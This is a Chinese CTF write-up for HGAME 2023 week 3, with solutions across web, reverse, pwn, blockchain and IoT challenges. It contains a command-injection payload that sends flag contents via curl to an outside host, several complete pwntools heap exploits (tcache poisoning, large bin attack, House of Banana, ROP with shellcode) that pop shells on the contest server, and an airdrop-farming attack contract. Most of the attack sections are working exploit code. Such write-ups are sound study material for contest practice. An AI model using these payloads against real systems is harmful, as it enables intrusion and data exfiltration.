HGAME 2023 week3 wp by 没有头猪

web

Gopher Shop

条件竞争，用BurpSuite的TurboIntruder插件并发请求，先买苹果，然后卖出，使苹果数量下溢，再卖很多苹果就能拿到flag需要的钱了。

Ping To The Host

命令注入，似乎过滤了空格和cat,tac,flag等字符串，payload:

```
.&curl${IFS}test.zqy.ink/`nl${IFS}/fla*|base64`
```

reverse

kunmusic

.NET程序，用dnspy逆，发现把程序资源中的data异或后作为程序集加载了，那就提取异或后再用dnspy逆，发现一堆约束方程，直接z3求解

```
from Crypto.Util.number import *
'''
data=open('data','rb')
b=open('output','wb')
for i in data.read():
    b.write(long_to_bytes(i ^ 104))
b.close()
'''
from z3 import *
x=Solver()
num=[0]*13
for i in range(13):
    num[i]=BitVec(f'num[{i}]',16)
    x.add(num[i]>=0)
```

```
x.add(num[0] + 52296 + num[1] - 26211 + num[2] - 11754 + (num[3] ^ 41236) +
num[4] * 63747 + num[5] - 52714 + num[6] - 10512 + num[7] * 12972 + num[8] +
45505 + num[9] - 21713 + num[10] - 59122 + num[11] - 12840 + (num[12] ^ 21087) ==
12702282 , num[0] - 25228 + (num[1] ^ 20699) + (num[2] ^ 8158) + num[3] - 65307 +
num[4] * 30701 + num[5] * 47555 + num[6] - 2557 + (num[7] ^ 49055) + num[8] -
7992 + (num[9] ^ 57465) + (num[10] ^ 57426) + num[11] + 13299 + num[12] - 50966
== 9946829 , num[0] - 64801 + num[1] - 60698 + num[2] - 40853 + num[3] - 54907 +
num[4] + 29882 + (num[5] ^ 13574) + (num[6] ^ 21310) + num[7] + 47366 + num[8] +
41784 + (num[9] ^ 53690) + num[10] * 58436 + num[11] * 15590 + num[12] + 58225 ==
2372055 , num[0] + 61538 + num[1] - 17121 + num[2] - 58124 + num[3] + 8186 +
num[4] + 21253 + num[5] - 38524 + num[6] - 48323 + num[7] - 20556 + num[8] *
56056 + num[9] + 18568 + num[10] + 12995 + (num[11] ^ 39260) + num[12] + 25329 ==
6732474 , num[0] - 42567 + num[1] - 17743 + num[2] * 47827 + num[3] - 10246 +
(num[4] ^ 16284) + num[5] + 39390 + num[6] * 11803 + num[7] * 60332 + (num[8] ^
18491) + (num[9] ^ 4795) + num[10] - 25636 + num[11] - 16780 + num[12] - 62345 ==
14020739 , num[0] - 10968 + num[1] - 31780 + (num[2] ^ 31857) + num[3] - 61983 +
num[4] * 31048 + num[5] * 20189 + num[6] + 12337 + num[7] * 25945 + (num[8] ^
7064) + num[9] - 25369 + num[10] - 54893 + num[11] * 59949 + (num[12] ^ 12441) ==
14434062 , num[0] + 16689 + num[1] - 10279 + num[2] - 32918 + num[3] - 57155 +
num[4] * 26571 + num[5] * 15086 + (num[6] ^ 22986) + (num[7] ^ 23349) + (num[8] ^
16381) + (num[9] ^ 23173) + num[10] - 40224 + num[11] + 31751 + num[12] * 8421 ==
7433598 , num[0] + 28740 + num[1] - 64696 + num[2] + 60470 + num[3] - 14752 +
(num[4] ^ 1287) + (num[5] ^ 35272) + num[6] + 49467 + num[7] - 33788 + num[8] +
20606 + (num[9] ^ 44874) + num[10] * 19764 + num[11] + 48342 + num[12] * 56511 ==
7989404 , (num[0] ^ 28978) + num[1] + 23120 + num[2] + 22802 + num[3] * 31533 +
(num[4] ^ 39287) + num[5] - 48576 + (num[6] ^ 28542) + num[7] - 43265 + num[8] +
22365 + num[9] + 61108 + num[10] * 2823 + num[11] - 30343 + num[12] + 14780 ==
3504803 , num[0] * 22466 + (num[1] ^ 55999) + num[2] - 53658 + (num[3] ^ 47160) +
(num[4] ^ 12511) + num[5] * 59807 + num[6] + 46242 + num[7] + 3052 + (num[8] ^
25279) + num[9] + 30202 + num[10] * 22698 + num[11] + 33480 + (num[12] ^ 16757)
== 11003580 , num[0] * 57492 + (num[1] ^ 13421) + num[2] - 13941 + (num[3] ^
48092) + num[4] * 38310 + num[5] + 9884 + num[6] - 45500 + num[7] - 19233 +
num[8] + 58274 + num[9] + 36175 + (num[10] ^ 18568) + num[11] * 49694 + (num[12]
^ 9473) == 25546210 , num[0] - 23355 + num[1] * 50164 + (num[2] ^ 34618) + num[3]
+ 52703 + num[4] + 36245 + num[5] * 46648 + (num[6] ^ 4858) + (num[7] ^ 41846) +
num[8] * 27122 + (num[9] ^ 42058) + num[10] * 15676 + num[11] - 31863 + num[12] +
62510 == 11333836 , num[0] * 30523 + (num[1] ^ 7990) + num[2] + 39058 + num[3] *
57549 + (num[4] ^ 53440) + num[5] * 4275 + num[6] - 48863 + (num[7] ^ 55436) +
(num[8] ^ 2624) + (num[9] ^ 13652) + num[10] + 62231 + num[11] + 19456 + num[12]
- 13195 == 13863722)

num[1] = 72
num[7] = 53
num[11] = 93
num[5] = 86
num[10] = 15
num[9] = 199
num[12] = 133
num[4] = 189
num[0] = 236
num[6] = 62
num[3] = 106
num[8] = 120
num[2] = 213
```

```
arr=
[132,47,180,7,216,45,68,6,39,246,124,2,243,137,58,172,53,200,99,91,83,13,171,80,1
08,235,179,58,176,28,216,36,11,80,39,162,97,58,236,130,123,176,24,212,56,89,72]
a=''
for i in range(len(arr)):
    a+=chr(arr[i]^num[i%len(num)])
print(a)
```

patchme

栈溢出漏洞+格式化字符串漏洞，patch如下

```
.text:00000000000013E9                                  main proc near
                        ; DATA XREF: start+21↑o
.text:00000000000013E9
.text:00000000000013E9                                  var_30= qword ptr -30h
.text:00000000000013E9                                  var_24= dword ptr -24h
.text:00000000000013E9                                  s= byte ptr -20h
.text:00000000000013E9                                  var_8= qword ptr -8
.text:00000000000013E9
.text:00000000000013E9                                  ; __unwind {
.text:00000000000013E9 F3 0F 1E FA                      endbr64
.text:00000000000013ED 55                               push    rbp
.text:00000000000013EE 48 89 E5                         mov     rbp, rsp
.text:00000000000013F1 48 83 EC 30                      sub     rsp, 30h
.text:00000000000013F5 89 7D DC                         mov     [rbp+var_24], edi
.text:00000000000013F8 48 89 75 D0                      mov     [rbp+var_30], rsi
.text:00000000000013FC 64 48 8B 04 25 28 00 00 00       mov     rax, fs:28h
.text:0000000000001405 48 89 45 F8                      mov     [rbp+var_8], rax
.text:0000000000001409 31 C0                            xor     eax, eax
.text:000000000000140B 8B 45 DC                         mov     eax, [rbp+var_24]
.text:000000000000140E 89 05 14 2C 00 00                mov     cs:dword_4028, eax
.text:0000000000001414 48 8B 45 D0                      mov     rax, [rbp+var_30]
.text:0000000000001418 48 89 05 01 2C 00 00             mov     cs:qword_4020, rax
.text:000000000000141F 48 8D 7D E0                      lea     rdi, [rbp+s]
                        ; s
.text:0000000000001423 BE 18 00 00 00                   mov     esi, 18h
                        ; n
.text:0000000000001428                                  db      2Eh
                         ; stream
.text:0000000000001428 2E 48 8B 15 E0 2B 00 00          mov     rdx, stdin
.text:0000000000001430 90                               nop
.text:0000000000001431 90                               nop
.text:0000000000001432 90                               nop
.text:0000000000001433 E8 08 FE FF FF                   call    _fgets
.text:0000000000001433
.text:0000000000001438 48 8D 7D E0                      lea     rdi, [rbp+s]
                        ; s
.text:000000000000143C E8 7F FD FF FF                   call    _puts
.text:000000000000143C
.text:0000000000001441 B8 00 00 00 00                   mov     eax, 0
.text:0000000000001446 48 8B 55 F8                      mov     rdx, [rbp+var_8]
.text:000000000000144A 64 48 33 14 25 28 00 00 00       xor     rdx, fs:28h
.text:0000000000001453 74 05                            jz      short locret_145A
.text:0000000000001453
```

```
.text:0000000000001455 E8 86 FD FF FF                call    ___stack_chk_fail
.text:0000000000001455
.text:000000000000145A                               ; ---------------------------
---------------------------------------------
.text:000000000000145A
.text:000000000000145A                               locret_145A:
          ; CODE XREF: main+6A↑j
.text:000000000000145A C9                            leave
.text:000000000000145B C3                            retn
.text:000000000000145B                               ; } // starts at 13E9
.text:000000000000145B
.text:000000000000145B                               main endp
```

cpp

动调，跟着几个虚函数看一下，发现一处在异或，一处在比较（长度和内容）。把加密后的flag和与输入内容异或的key都dump下来，用脚本异或一下就行。注意程序似乎把char合并成了uint32_t，需要考虑端序

```
key=[0x4E, 0xA0, 0x37, 0x40, 0x46, 0x02, 0xDA, 0xFD, 0x21, 0xFA,   0x6E, 0x3C,
0xAF, 0xD9, 0x9C, 0xCF, 0xB9, 0x47, 0x33, 0x67,   0xE0, 0x4E, 0xEC, 0x0D, 0xD1,
0xC4, 0x80, 0x13, 0x32, 0xA9,   0xB2, 0x3A, 0xA7, 0x50, 0x5D, 0x02, 0x82, 0x39,
0x4A, 0x83]
enc=[0x28, 0x50, 0xC1, 0x23, 0x98, 0xA1, 0x41, 0x36, 0x4C, 0x31,   0xCB, 0x52,
0x90, 0xF1, 0xAC, 0xCC, 0x0F, 0x6C, 0x2A, 0x89,   0x7F, 0xDF, 0x11, 0x84, 0x7F,
0xE6, 0xA2, 0xE0, 0x59, 0xC7,   0xC5, 0x46, 0x5D, 0x29, 0x38, 0x93, 0xED, 0x15,
0x7A, 0xFF]
for i in range(0,40,4):
    enc[i],enc[i+1],enc[i+2],enc[i+3]=enc[i+3],enc[i+2],enc[i+1],enc[i]
for i in range(40):
    enc[i]^=key[i]
for i in range(0,40,4):
    enc[i],enc[i+1],enc[i+2],enc[i+3]=enc[i+3],enc[i+2],enc[i+1],enc[i]
for i in range(40):
    print(chr(enc[i]),end='')
```

pwn

safe_note

Unsorted bin泄露libc base和heap base，Tcache poisoning劫持free hook。注意glibc-2.32中Tcache链表的next指针是PROTECT_PTR，需要异或一下。

```
from pwn import *
context(arch='amd64',os='linux')
#p=process('./vuln')
p=connect('week-3.hgame.lwsec.cn',31243)
elf=ELF('./vuln')
libc=ELF('./libc.so.6')

def add(idx, size, content=b''):
    p.sendlineafter(b'>',b'1')
    p.sendlineafter(b'Index: ',str(idx).encode())
```

```
    p.sendlineafter(b'Size: ',str(size).encode())
    if content!=b'':
        edit(idx,content)

def edit(idx, content=b''):
    p.sendlineafter(b'>',b'3')
    p.sendlineafter(b'Index: ',str(idx).encode())
    p.sendafter(b'Content: ',content if content!=b'' else b'a')

def delete(idx):
    p.sendlineafter(b'>',b'2')
    p.sendlineafter(b'Index: ',str(idx).encode())

def show(idx):
    p.sendlineafter(b'>',b'4')
    p.sendlineafter(b'Index: ',str(idx).encode())

for i in range(10):
    add(i,0x80)
for i in range(7):
    delete(6-i)

delete(8)
edit(8,b'a')
show(8)
libc_base=u64(p.recv(6)+b'\x00\x00')-ord('a')-1981440
edit(8,b'\x00')
info('libc_base:'+hex(libc_base))
libc.address=libc_base

show(6)
heap=u64(p.recv(5)+b'\x00\x00\x00')
info('heap:'+hex(heap))
target=libc.sym['__free_hook']^heap
info('target:'+hex(target))
edit(0,p64(target))
add(10,0x80,b'/bin/sh\x00')
add(11,0x80,p64(libc.sym['system']))
delete(10)

p.interactive()
```

large_note

Unsorted bin泄露libc base, heap base，large bin attack攻击mp_.tcache_bins，使tcache对大堆块启用，然后tcache poisoning劫持free hook

```
from pwn import *
context(arch='amd64',os='linux')
#p=process('./vuln')
p=connect('week-3.hgame.lwsec.cn',30078)
elf=ELF('./vuln')
libc=ELF('./libc-2.32.so')
ld=ELF('./ld-2.32.so')
```

```python
def add(idx, size, content=b''):
    p.sendlineafter(b'>',b'1')
    p.sendlineafter(b'Index: ',str(idx).encode())
    p.sendlineafter(b'Size: ',str(size).encode())
    if content!=b'':
        edit(idx,content)

def edit(idx, content=b''):
    p.sendlineafter(b'>',b'3')
    p.sendlineafter(b'Index: ',str(idx).encode())
    p.sendafter(b'Content: ',content if content!=b'' else b'a')

def delete(idx):
    p.sendlineafter(b'>',b'2')
    p.sendlineafter(b'Index: ',str(idx).encode())

def show(idx):
    p.sendlineafter(b'>',b'4')
    p.sendlineafter(b'Index: ',str(idx).encode())



add(0,0x800)
add(15,0x900)
add(1,0x7f0)
delete(0)
edit(0,b'a')
show(0)
libc_base=u64(p.recv(6)+b'\x00\x00')-ord('a')-1981440
edit(0,b'\x00')

add(2,0x820)
show(0)
fd=u64(p.recv(6)+b'\x00\x00')
info('fd:'+hex(fd))
edit(0,b'a'*16)
show(0)
p.recvuntil(b'a'*16)
heap=u64(p.recv(6)+b'\x00\x00')
edit(0,p64(fd)*2)
info('libc_base:'+hex(libc_base))
libc.address=libc_base
ld.address=libc_base+0x1ec000
tcache_bins=libc_base+0x1e32d0
global_max_fast=libc_base+0x1e6e98
gadget=libc_base+0x14b760
info('heap:'+hex(heap))

edit(0, p64(0)*3+p64(tcache_bins-0x20))
delete(1)

add(3,0x840)
add(4,0x900)
add(5,0x900)
add(15,0x900)
```

```
delete(4)
delete(5)
edit(5,p64(((heap>>12)+3)^libc.sym['__free_hook']))
add(6,0x900,b'/bin/sh\x00')
add(7,0x900)
edit(7,p64(libc.sym['system']))
delete(6)
p.interactive()
```

House of banana也能做，就是比较麻烦（写exp的时候思维有点乱，结构体也没用flat包装，有点丑）

```
from pwn import *
context(arch='amd64',os='linux')
#p=process('./vuln')
p=connect('week-3.hgame.lwsec.cn',30801)
elf=ELF('./vuln')
libc=ELF('./libc-2.32.so')
ld=ELF('./ld-2.32.so')

def add(idx, size, content=b''):
    p.sendlineafter(b'>',b'1')
    p.sendlineafter(b'Index: ',str(idx).encode())
    p.sendlineafter(b'Size: ',str(size).encode())
    if content!=b'':
        edit(idx,content)

def edit(idx, content=b''):
    p.sendlineafter(b'>',b'3')
    p.sendlineafter(b'Index: ',str(idx).encode())
    p.sendafter(b'Content: ',content if content!=b'' else b'a')

def delete(idx):
    p.sendlineafter(b'>',b'2')
    p.sendlineafter(b'Index: ',str(idx).encode())

def show(idx):
    p.sendlineafter(b'>',b'4')
    p.sendlineafter(b'Index: ',str(idx).encode())


add(5,0x900)
add(6,0x500)

delete(5)
delete(6)
add(8,0x500)
add(9,0x800)

add(10,0x900)
add(11,0x500)
delete(10)
delete(11)
add(1,0x500)
add(2,0x7f0)
delete(9)
```

```
edit(9,b'a')
show(9)
libc_base=u64(p.recv(6)+b'\x00\x00')-ord('a')-1981440
edit(9,b'\x00')

add(3,0x810)
show(9)
fd=u64(p.recv(6)+b'\x00\x00')
edit(9,b'a'*16)
show(9)
p.recvuntil(b'a'*16)
heap=u64(p.recv(6)+b'\x00\x00')+1296+2064+16
edit(9,p64(fd)*2)
info('libc_base:'+hex(libc_base))
libc.address=libc_base
ld.address=libc_base+0x1ec000
_rtld_global=ld.sym['_rtld_global']
info('_rtld_global:'+hex(_rtld_global))
one_gadget=libc_base+0xdf54c
edit(9, p64(0)*3+p64(_rtld_global-0x20))
delete(2)
add(4,0x860)
payload=b'\x00'*0x500+p64(heap+0x32*8)+p64(0)
edit(10,payload)
payload=p64(0)+p64(heap+2*8)+p64(0)+p64(heap-
16)+p64(0)+p64(heap+3*8)+p64(heap+8*8)+p64(heap+2*8)+p64(heap+3*8)+p64(0)*4+p64(h
eap+8*8)+p64(0)*18+p64(heap+0x30*8)+p64(0)+p64(heap+0x23*8)+p64(0)+p64(8)+p64(0)*
11+p64(0x1a)+p64(0)+p64(one_gadget)+p64(0)*46+p64(0x800000000)
edit(2,payload)

p.interactive()
```

note_context

前面和上道题类似，不过因为ban了execve，要用orw，劫持free hook的时候换为一个舒服的gadget，虽然题目意思是用setcontext那个，不过我还是更喜欢栈迁移后ROP

```
from pwn import *
context(arch='amd64',os='linux')
#p=process('./vuln')
p=connect('week-3.hgame.lwsec.cn',32568)
elf=ELF('./vuln')
libc=ELF('./libc-2.32.so')
ld=ELF('./ld-2.32.so')

def add(idx, size, content=b''):
    p.sendlineafter(b'>',b'1')
    p.sendlineafter(b'Index: ',str(idx).encode())
    p.sendlineafter(b'Size: ',str(size).encode())
    if content!=b'':
        edit(idx,content)

def edit(idx, content=b''):
    p.sendlineafter(b'>',b'3')
```

```
    p.sendlineafter(b'Index: ',str(idx).encode())
    p.sendafter(b'Content: ',content if content!=b'' else b'a')

def delete(idx):
    p.sendlineafter(b'>',b'2')
    p.sendlineafter(b'Index: ',str(idx).encode())

def show(idx):
    p.sendlineafter(b'>',b'4')
    p.sendlineafter(b'Index: ',str(idx).encode())



add(0,0x800)
add(15,0x900)
add(1,0x7f0)
delete(0)
edit(0,b'a')
show(0)
libc_base=u64(p.recv(6)+b'\x00\x00')-ord('a')-1981440
edit(0,b'\x00')

add(2,0x820)
show(0)
fd=u64(p.recv(6)+b'\x00\x00')
info('fd:'+hex(fd))
edit(0,b'a'*16)
show(0)
p.recvuntil(b'a'*16)
heap=u64(p.recv(6)+b'\x00\x00')+12992
heap_base=heap-0x3550
edit(0,p64(fd)*2)
info('libc_base:'+hex(libc_base))
libc.address=libc_base
ld.address=libc_base+0x1ec000
tcache_bins=libc_base+0x1e32d0
global_max_fast=libc_base+0x1e6e98

info('heap:'+hex(heap))

edit(0, p64(0)*3+p64(tcache_bins-0x20))
delete(1)

add(3,0x840)
add(4,0x900)
add(5,0x900)
add(15,0x900)
delete(4)
delete(5)
edit(5,p64((heap>>12)^libc.sym['__free_hook']))

pop_rdi=libc_base+0x2858f
pop_rsi=libc_base+0x2ac3f
pop_rdx_r12=libc_base+0x114161
leave_ret=libc_base+0x5591c
```

```
pop_rbx_r12_r13_r14=libc_base+0x10ab60
roppayload=p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(0x8000)+p64(pop_rdx_r12)+
p64(7)+p64(0)+p64(libc.sym['mprotect'])+p64(heap+0x200)
orw=b'\xb8flagPH\x89\xe71\xf61\xc0\x04\x02\x0f\x05\x89\xc7H\x89\xe6f\xb8\x01\x011
\xd2f\x89\xc2f\x01\xc61\xc0\x0f\x051\xfff\xff\xc7f\xff\xc71\xc0\xfe\xc0\x0f\x05'
payload=flat({
    0x48:p64(heap+0x100),
    0x108:p64(pop_rbx_r12_r13_r14),
    0x118:p64(heap),
    0x28:p64(leave_ret),
    0x130:roppayload,
    0x200:orw
})
gadget1=libc_base+0x14b760
'''
mov     rdx, [rdi+8]
mov     [rsp+0C8h+var_C8], rax
call    qword ptr [rdx+20h]
'''
gadget2=libc_base+0x14e72a
'''
mov     rbp, [rdi+48h]
mov     rax, [rbp+18h]
lea     r13, [rbp+10h]
mov     dword ptr [rbp+10h], 0
mov     rdi, r13
call    qword ptr [rax+28h]
'''
add(6,0x900)
add(7,0x900,p64(gadget2))
edit(5,payload)
delete(5)
p.interactive()
```

misc

Tunnel

非预期，直接strings里面就有flag

blockchain

薅羊毛攻击，绕isEOA判断直接把攻击代码写在constructor里，照抄ctf-wiki上的攻击合约就行

```
contract Hacker {
    address _addr;

    constructor() payable{
        _addr=0x446e3fE78ce4be732d25124c34aF0A8176eff4E2;
    }

    function attack_airdrop (int num) external{
        for (int i=0;i<num;i++){
            new middle_attack(_addr,address(this));
```

```
        }
    }

    function get_flag() external{
        VidarToken target = VidarToken(_addr);
        target.solve();
    }


}


contract middle_attack{
    constructor(address target_addr, address contract_addr){
        VidarToken target = VidarToken(target_addr);
        target.airdrop();
        target.transfer(contract_addr,10);
    }
}
```

iot

another UNO

hex2bin后直接用ida逆，选avr series，atmega323_l，发现程序0x3d6位置似乎有digitalWrite的操作，将参数视作二进制得到flag的后面部分1s_Fun}，前面实在逆不出了找了块arduino uno把程序烧进去了，9600波特率串口输出了中间部分的ascii码rduino_，前面hgame{A是猜的（（